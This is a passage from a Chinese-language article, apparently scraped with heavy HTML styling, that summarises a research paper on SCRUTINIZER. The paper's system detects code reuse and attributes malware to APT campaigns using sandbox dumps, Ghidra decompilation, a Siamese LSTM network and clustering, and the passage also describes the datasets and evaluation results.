0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">为了构建有效、准确的代码相似性检测方法来对现实世界的恶意软件进行检测，该论文提出了SCRUTINIZER，一种通过机器学习和反编译来检测恶意样本代码重用的方法。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">SCRUTINIZER架构和建模流程</span></h2><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4126702190645352" data-s="300,640" style="" data-type="png" data-w="1689" src="https://wechat2rss.xlab.app/img-proxy/?k=5ece5215&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMkNicG6ictoYbujg8UIDbOS8PjdYA5XgcpSvKasd84ia4KkgewTAhicics0Cz3icudLbjicficCuO5Nauhw%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: center;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 1 SCRUTINIZER架构和建模流程</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">论文中提到的SCRUTINIZER架构和建模流程如上图1所示，整体流程可以分为反编译、Func2vec Encoding、编码聚类三大部分，下文将详细讲解这三个部分所做的主要工作。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">反编译</span></strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">首先，将给定的二进制文件放入Lastline沙盒中执行，在分析的关键时刻生成多个进程Dump。当满足以下条件之一，才被称为分析阶段的关键时刻：</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.当敏感的API被调用时，如调用创建新进程的API——CreateProcess；调用创建新文件的API——CreateFile；调用权限提升的API——AdjustTokenPrivileges</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.执行在原始PE镜像之外</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.原始PE镜像改变时</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">由于进程Dump中有正在分析的二进制文件的加载代码和内存块的运行时序信息，当沙箱引擎检测到满足上述条件的可疑行为时，就会获取进程Dump。论文中使用Ghidra工具将Dump文件中的内存区域映射到Ghidra的虚拟内存空间，进行后处理——将其反编译成源代码。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Func2vec Encoding</span></strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">将上一步提取到的源代码中的函数映射到抽象语法树（AST）节点，从而将每个函数表征为数值向量，用它们来表征样本，并作为孪生神经网络的输入。详细的网络结构如下图所示：</span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6856884057971014" data-s="300,640" style="" data-type="png" data-w="1104" src="https://wechat2rss.xlab.app/img-proxy/?k=56e83ef8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMkNicG6ictoYbujg8UIDbOSgibZZqj11SpgbENc7RsKN8ONANpJwPqaeuETu0BhyC94K8icc4au31Fw%2F640%3Fwx_fmt%3Dpng"/></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: center;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 2 孪生神经网络架构</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">孪生神经网络（SNN）由两个或多个具有相同架构的子网络构成，它在很多领域的表现都很好，在相似性和度量学习方面效果突出。SNN接收上一步向量化的样本函数作为输入，利用长短期记忆神经网络（LSTM）作为子网络去学习样本函数的时序特征，然后利用曼哈顿距离估计两个向量之间的相似性，于是上图中的SNN其实是MaLSTM。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">最后，论文为了发现相似函数，提取了经过SNN编码后每个样本函数向量的n-gram词袋特征，通过局部敏感哈希（LSH）算法对所有的函数进行散列，将相似的函数映射到相同的桶中。但在随后的研究中发现，在反编译中的代码函数存在较大差异的情况下，仅仅依赖LSH算法会造成严重误报。因此，需要结合其他方法来减少误报的情况。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">编码聚类</span></strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">在上一步LSH算法的基础上，论文使用HDBSCAN聚类算法对不同集群中的函数编码进行分组。与常规的聚类算法相比，HDBSCAN不需要参数调整，运行速度快且占用内存少。为了加快聚类过程，论文使用主成分分析（PCA）技术将函数编码的维度从128维减少至8维。通过实验测试，数据维度减少并不会显著影响聚类结果。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">至此，论文基于恶意代码与正常样本混合的训练数据，构建了一个大型的函数代码知识库。当有新的未知样本经过SNN时，会被转换为一组函数编码向量，经过去噪处理（恶意样本和良性样本中会共享大量的代码，如：静态链接的标准库函数、全局变量初始化代码等，位于这些函数的聚类族群中则被判定为噪声，需要去除）。然后与函数代码知识库中的向量进行相似度比较，取相似度最大的几个向量作为最终的预测结果。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实验过程</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实验数据</span></strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3798604187437687" data-s="300,640" style="" data-type="png" data-w="1003" src="https://wechat2rss.xlab.app/img-proxy/?k=38fee398&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMkNicG6ictoYbujg8UIDbOStRWGbkLBXSwva8Wg1T9fnYwiak3cFCEQgBNQ6yAfHcibn7NRvvDNYKIg%2F640%3Fwx_fmt%3Dpng"/></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: center;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 3 实验数据集</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">作者采用Python语言编写SCRUTINIZER框架，使用的训练集和测试集互不重叠，其中良性样本和恶意样本共计44015个，共提取了约170w个函数。训练集中的良性样本为31475个，恶意样本为12540个，测试集中的良性样本为2500个，恶意样本为500个。除此之外，良性样本主要由不同Windows版本下的DLL文件组成，恶意样本则包括12253个普通恶意样本与287个属于APT组织的恶意样本。具体数据分布如下图所示：</span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.49530761209593327" data-s="300,640" style="" data-type="png" data-w="959" src="https://wechat2rss.xlab.app/img-proxy/?k=803a1361&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMkNicG6ictoYbujg8UIDbOSdEVgWDj0V6UMIA398fMY9hd62j7FficibnNHJzeHp6ofVicZ3K34iaX0SQ%2F640%3Fwx_fmt%3Dpng"/></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: center;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 4 普通恶意样本数目分布直方图</span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5393013100436681" data-s="300,640" style="" data-type="png" data-w="916" src="https://wechat2rss.xlab.app/img-proxy/?k=13ea726b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMkNicG6ictoYbujg8UIDbOSnUwR3ldtsWXuzDOnC904sGWmARMrsQibsWYvGRiboKmwKhLsHlibibcauw%2F640%3Fwx_fmt%3Dpng"/></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: center;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 5 恶意样本中属于APT组织的数目分布直方图</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实验评估</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">根据前文所述，使用Ghidra反编译处理数据集的dump文件后，使用Clang工具将每个函数映射到AST向量，并对AST向量做系统调用和开发者编写区分处理。接着使用MaLSTM模型识别和编码函数对，经过噪声过滤、LSH算法处理共收集了1105000对相似和不相似的函数对。其预测误差的统计数值如下图所示：</span></p><p style="text-align: center;margin-bottom: 0px;line-height: normal;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3323727185398655" data-s="300,640" style="" data-type="png" data-w="1041" src="https://wechat2rss.xlab.app/img-proxy/?k=985cb10e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMkNicG6ictoYbujg8UIDbOSGszJcZTlKAzlZ3nh0N6HNyPpjXJEYHXNhMcqIK4bTYAy0nmGe5G6Hw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: center;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 6 仅使用恶意软件、仅使用良性向量和两者的组合进行5倍交叉验证后的预测误差统计</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">从图中结果看出，论文提出的方法效果较好。另外，作者在真实环境中随机收集了12个未知样本，人工确定其归属后，放入SCRUTINIZER系统中进行测试，最终的测试结果表明SCRUTINIZER确实可以通过函数级别的相似推理来预测未知样本的代码重用，针对未知APT攻击的效果尤其显著。其结果如下图所示：</span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32983193277310924" data-s="300,640" style="" data-type="png" data-w="1428" src="https://wechat2rss.xlab.app/img-proxy/?k=10a069be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMkNicG6ictoYbujg8UIDbOSdJz3Y4U3v94U3LjXBzhlVjmLCEbIRP2RlWPYCP9WyPGnzdlzqVNNbA%2F640%3Fwx_fmt%3Dpng"/></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: center;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 7 验证模型对未知APT样本的代码重用结果</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">结论</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">论文提出了一个用于恶意代码相似性识别和活动归因的自动化系统。该系统反编译恶意和良性应用程序的二进制文件，并使用孪生神经网络对其功能进行编码。然后它将函数编码聚类到不同的组中，并利用聚类期间创建的聚类标签来分析安全公司每天收到的新样本的。作者在真实环境中部署了 SCRUTINIZER，事实证明它在APT活动的函数过滤（即逆向工程）和代码重用分析中都效果显著。并且能够识别出 12 个未发现的样本，最后将其准确地分配给正确的 APT攻击活动。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 